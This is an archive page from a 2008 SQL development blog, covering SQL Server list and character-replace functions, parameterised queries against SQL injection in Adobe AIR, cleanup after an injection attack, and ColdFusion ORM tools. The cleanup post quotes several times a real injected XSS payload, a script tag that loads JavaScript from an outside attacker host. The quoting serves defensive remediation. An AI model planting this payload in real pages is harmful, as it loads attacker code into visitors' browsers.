SQL User-Defined Function: ListToTable

Monday, 22nd September 2008 in Development by Simon | No comments

A common need in SQL is the ability to iterate over a list as if it were an array. In SQL it is not possible to declare arrays, unlike other programming languages such as ColdFusion, ActionScript and Java. Fortunately, there is a way around this problem: use a User-Defined Functions (UDFs) to create a tabular version of the data. Arrays are, after all, essentially tabular data (at their simplest, one dimension level).

A User-Defined Function, is a function provided by the user of a program or environment. In SQL databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in SQL statements.

The Function Code

Below is the complete function definition:

CREATE FUNCTION dbo.udf_ListToTable
(
	@LIST 		NVARCHAR(4000), 
	@DELIMITER 	NVARCHAR(10) = ','
)
RETURNS @ListTable TABLE 
(
	Item NVARCHAR(200)
)
AS
BEGIN
	DECLARE @LenDel 	INT
	DECLARE @Pos 		INT
	DECLARE @Item 		NVARCHAR(200)
 
	--Get the length of the delimiter, use hack to get around LEN(' ') = 0 issue
	SET @LenDel = LEN(@DELIMITER + '|') - 1 
 
	SET @Pos = CHARINDEX(@DELIMITER, @LIST)
	WHILE @Pos > 0
	BEGIN
		--Get the item
		SET @Item = SUBSTRING(@LIST, 1, @Pos-1)
		--Add it to the table (if not empty string) 
		IF LEN(LTRIM(@Item)) > 0
			INSERT @ListTable (Item) VALUES (LTRIM(@Item))
		--Remove the item from the list
		SET @LIST = STUFF(@LIST, 1, @Pos+@LenDel-1, '')
		--Get the position of the next delimiter
		SET @Pos = CHARINDEX(@DELIMITER, @LIST)		
	END
 
	--Add the last item to the table (if not empty string) 
	IF LEN(LTRIM(@LIST)) > 0
		INSERT @ListTable (Item) VALUES (LTRIM(@LIST))
 
	RETURN 
END
GO

The function simply loops over the list passed into the function. Each list item is then inserted into the variable named @ListTable, which is of type TABLE. The @ListTable variable is then returned out of the function and can be handled the same as any other table.

The Function In Use

A simple demonstration is as follows:

INSERT INTO tableName (column1, column2, column3, column4)
SELECT @variable1, @variable2, myTable.item, GETDATE()
FROM dbo.udf_ListToTable(@list,',') AS myTable

In this example, we insert the same information (@variable1, @variable2) for every instance of an item found in myTable.

This is useful, for example, if you want to apply a setting to a group of users. The group of users could be contained in a list that needs to be parsed as a table, whilst the individual setting details are contained in the other variables.

Download the Code

Download the code, rename the file to .sql and run on your database instance. You will then be able to reference the function in your Stored Procedures.

SQL User-Defined Function: ReplaceChars

Friday, 19th September 2008 in Development by Simon | 1 comment

The SQL REPLACE function enables us to look for a certain character phrase in a string and replace it with another character phrase. The updated string is then returned by the function.

The syntax for this string function is the same for SQL Server, Oracle and Microsoft Access. The syntax is as follows:

REPLACE(stringToLookIn, stringToMatch, replacementsString)

The syntax is fairly straight forward, the stringToMatch parameter is the character phrase that we want to replace, the replacementsString is the character phrase that will replace any occurence of the stringToMatch parameter. If the stringToMatch phrase occurs more than once in the string, then all instances of the phrase will be replaced with the replacement string. If no matches were found then the string is returned unaltered.

If we want to match multiple items, we need to nest the REPLACE function:

REPLACE(REPLACE(stringToLookIn, stringToMatch, replacementsString), stringToMatch, replacementsString)

or set the replaced string into a new variable multiple times:

stringReturned = REPLACE(stringToLookIn, stringToMatch, replacementsString)
stringReturned = REPLACE(stringReturned, stringToMatch, replacementsString)

This is far from ideal, especially the more strings there are to be matched. This is where User-Defined Functions (UDFs) can provide the answer.

A User-Defined Function, is a function provided by the user of a program or environment. In SQL databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in SQL statements.

The Function Code

Below is the complete function definition:

CREATE FUNCTION dbo.udf_ReplaceChars
(
@ReplaceList		VARCHAR(50),
@String			VARCHAR(100)
)
RETURNS VARCHAR(100)
AS
BEGIN
	DECLARE	@Char		CHAR(1),
		@Loop		INT
 
	SET @Loop  = 0
	WHILE @Loop < = LEN(@ReplaceList)
	BEGIN
		SET	@Loop = @Loop + 1
		SET	@Char = SUBSTRING(@ReplaceList, @Loop, 1)
		SET	@String = REPLACE(@String, @Char, '')
	END
 
	RETURN		@String
 
END
GO

The function simply loops over the replace list, finding each instance of the list item in the string in which we want to replace items. The new string is then returned out of the function.

The Function In Use

A very simple use of the replace function could be as follows:

SELECT dbo.udf_ReplaceChars('=,/,<,>,@,~,#', columnName) AS newColumn, columnName
FROM tableName

The function is not restricted to SELECT statements. Below is an example of an UPDATE statement utilising a variable:

UPDATE tableName
SET columnName = dbo.udf_ReplaceChars('=,/,<,>,@,~,#', @variableName)
WHERE idName = @myId

Download the Code

Download the code, rename the file to .sql and run on your database instance. You will then be able to reference the function in your Stored Procedures.

Preventing SQL Injection in an AIR Application

Monday, 1st September 2008 in Development by Simon | No comments

SQLite is a mostly ACID-compliant relational database management system contained in a relatively small (~500kB) C programming library. The Adobe AIR runtime includes the SQLite embedded database for use by Adobe AIR applications. This allows applications to run and store data locally and or synchronise the datastore with online repositories.

Applications that depend on user input to create a SQL statement — concatenating the user input to the SQL query — can become vulnerable to SQL Injection attacks, much like those common to web applications.

SQL Injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

Fortunately, there is a simple solution to the problem: use parameterised SQL Statements. Parameterised statements not only make your applications more secure and run more efficiently, but they also enable you to use objects, rather than literal values, in your queries. SQL injection can’t happen because the parameter values are treated explicitly as substituted values, rather than becoming part of the literal statement text.

Parameters in a SQL statement can be either named or unnamed. Below are examples of both types of statement in ActionScript and JavaScript.

Named Parameters

A named parameter has a specific name that is used to match the parameter value to its placeholder location in the SQL statement text. A parameter name consists of the colon (:) or an at (@) character followed by the variable’s name:

ActionScript 3

var conn:SQLConnection = new SQLConnection();
var stmt:SQLStatement = new SQLStatement();
stmt.sqlConnection = conn;
stmt.text = "INSERT INTO user VALUES(@title, @firstname, @lastname)";
stmt.parameters["@title"] = "Mr";
stmt.parameters["@firstname"] = "Simon";
stmt.parameters["@lastname"] = "Whatley";
stmt.execute()

JavaScript

var conn = new air.SQLConnection();
var stmt = new air.SQLStatement();
stmt.sqlConnection = conn;
stmt.text = "INSERT INTO user VALUES(@title, @firstname, @lastname)";
stmt.parameters["@title"] = "Mr";
stmt.parameters["@firstname"] = "Simon";
stmt.parameters["@lastname"] = "Whatley";
stmt.execute()

Unnamed Parameters

As an alternative to using explicit named parameters, you can also use implicit unnamed parameters. To use an unnamed parameter you simply designate a parameter in the SQL statement using a question mark (?) character. Each parameter is assigned a numeric index, according to the order in which the parameters appear in the SQL statement, starting with index 0 (zero) for the first parameter.

ActionScript 3

var conn:SQLConnection = new SQLConnection();
var stmt:SQLStatement = new SQLStatement();
stmt.sqlConnection = conn;
stmt.text = "INSERT INTO address VALUES(?, ?, ?, ?)";
stmt.parameters[0] = "123 Main Street";
stmt.parameters[1] = "Sometown";
stmt.parameters[2] = "12345";
stmt.parameters[3] = "USA";
stmt.execute()

JavaScript

var conn = new air.SQLConnection();
var stmt = new air.SQLStatement();
stmt.sqlConnection = conn;
stmt.text = "INSERT INTO address VALUES(?, ?, ?, ?)";
stmt.parameters[0] = "123 Main Street";
stmt.parameters[1] = "Sometown";
stmt.parameters[2] = "12345";
stmt.parameters[3] = "USA";
stmt.execute()

Note: Use clearParameters() to empty the statement parameters array; e.g. stmt.clearParameters().

Advantages

  1. Performance – A SQL statement that uses parameters can execute more efficiently compared to one that dynamically creates the SQL text each time it executes. The performance improvement is because the statement is prepared once and then executed multiple times using different parameter values, without needing to recompile the SQL statement. A comparison can be draw with database stored procedures.
  2. Data Typing – Parameters are used to allow for typed-substitution of values that are unknown at the time the SQL statement is constructed. The use of parameters is the only way to guarantee the type (storage class) for a value passed to the database. Using paramters therefore, implies better performance and security. When parameters are not used, the runtime attempts to convert all values from their text representation to a type based on the associated column’s type.
  3. Security – The AIR application is not vulnerable to SQL injections so common to web applications.

How to Fix a SQL Injection Attack

Friday, 15th August 2008 in Development by Simon | 5 comments

In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.

Which ever method is used to inject SQL and ultimately dangerous scripts into the database, we need to know how to deal with the problem and ‘roll it back’ to a safe state.

If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.

Programatically Replace Injected Code

Fortunately, by the very nature of an XSS attack, code is appended to the data already in the database — rather than replacing it — which means we simply need to remove the appended content.

Taking a real-world example, below is string that was injected into the database:

"></title><script src="http://1.verynx.cn/w.js"></script><!--

When rendered by a standard HTML page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.

With the example above, we can use the following script to recurse through and create update scripts for every ‘infected’ table and column (of the type char, nchar, varchar and nvarchar), in the database.

SELECT 'UPDATE [' + table_name + '] 
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''"></title><script src="http://1.verynx.cn/w.js"></script><!--'', '''') 
WHERE ' + column_name + ' LIKE ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--%''' 
FROM information_schema.COLUMNS 
WHERE (character_maximum_length IS NOT NULL) 
AND ([table_name] NOT LIKE 'dt%') 
AND ([table_name] NOT LIKE 'sys%')

The resultset then produces update statements that look like the following (I have masked the actual table and column names):

UPDATE [tableName]   
SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '"></title><script src="http://1.verynx.cn/w.js"></script><!--', '')   
WHERE columnName LIKE '%"></title><script src="http://1.verynx.cn/w.js"></script><!--%'

These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.

If the actual code that was injected is different, simply change the above code to suit your needs.

You can download the SQL rollback script for your own needs.

Prevent a Successful Attack

As the popular idiom goes prevention is better than a cure, I will discuss in my next post how to mitigate against SQL Injection attacks — on ColdFusion-based websites — before they become a problem.

Microsoft SQL Server 2005 JDBC Driver 1.2

Friday, 14th March 2008 in Development by Simon | 3 comments

Download the SQL Server 2005 JDBC Driver 1.2, a Type 4 JDBC driver that provides database connectivity through the standard JDBC application program interfaces (APIs) available in J2EE (Java2 Enterprise Edition).

This release of the JDBC Driver is JDBC 3.0 compliant and runs on the Java Development Kit (JDK) version 1.4 and higher. It has been tested against all major application servers including BEA WebLogic, IBM WebSphere, JBoss, and Sun.

ColdFusion ORM Frameworks & Tools

Thursday, 27th April 2006 in Development by Simon | 4 comments

Object-Relational Mapping (or ORM), is a programming technique that links databases to object-oriented language concepts, creating (in effect) a “virtual object database.” There are both free and commercial packages available that perform object-relational mapping, although some programmers opt to code their own object-relational mapping for their systems.

In object-oriented programming, programming objects represent real-world objects. To illustrate, consider the example of an address book, which contains listings of people along with zero or more phone numbers and zero or more addresses. In object-oriented terms this would be represented by a “person object” with “slots” (fields, members, instance variables etc.) to hold the data that make up this listing: the person’s name, a list (or array) of phone numbers, and a list of addresses.

The crux of the problem is in translating those objects to forms which can be stored in files or databases, and which can later be retrieved easily while preserving the properties of the objects and their relationships; these objects can then be said to be persistent.

Object-Relational systems attempt to solve this problem by providing libraries of classes which are able to do this mapping automatically. Given a list of tables in the database, and objects in the program, they will automatically map requests from one to the other. Asking a person object for its phone numbers will result in the proper query being created and sent, and the results being “magically” translated directly into phone number objects inside the program.

From a programmer’s perspective, the system looks like a persistent object store. One can create objects and work with them as one would normally, and they automatically end up in the relational database.

A number of ORM frameworks have been created for ColdFusion:

Reactor

Reactor, created by Doug Hughes of Alagad fame, is a very simple API for ColdFusion which generates and instantiates database abstraction CFCs on the fly as needed.

http://www.doughughes.net/

Arf!

Active Record Factory (Arf!) is a Rails-style ActiveRecord implementation in ColdFusion.

Below is a list of the basics that Arf! provides:

  • JDBC metadata based reflection: not database specific
  • Creates ActiveRecord API‘d instances out of CFCs that extend a base ActiveRecord component
  • Implements hasMany() and belongsTo() methods for establishing Record properties that point to other tables
  • Allows for overloading any of the automagically generated methods to add custom business logic
  • Automagic methods on Records include GetInstance(), Create(), Read(), Update(), Delete(), Save() [smart create/update], List(orderBy, whereClause), Validate() [does type and length checking], and SetNNN()/GetNNN() methods for each DB column

http://www.clearsoftware.net/

objectBreeze

Developed by Nicholas Tunney, objectBreeze is an ORM tool that allows you to interact with your data persistence layer and easily model objects within your ColdFusion applications. With no setup, objectBreeze will instantly create objects directly from your database schema. objectBreeze requires that your table has -a- primary key defined. Currently, objectBreeze works with Microsoft SQL, Oracle, MySQL and PostgreSQL, but other versions are on the way.

http://www.objectbreeze.com/ob/

cfcPowerTools

Batch generation of your data layer objects in minutes.

http://cfcpowertools.riaforge.org/

Transfer

Transfer was built out of a need to speed up the development process that is normally slowed down by the development of Business Objects and Data Access Objects.

Transfer does this through a series of methods, including SQL generation and CFML code generation, that all occur during the run-time process.

All this is configured through a XML file, that maps your object generation back to the tables and columns in your database.

http://www.compoundtheory.com/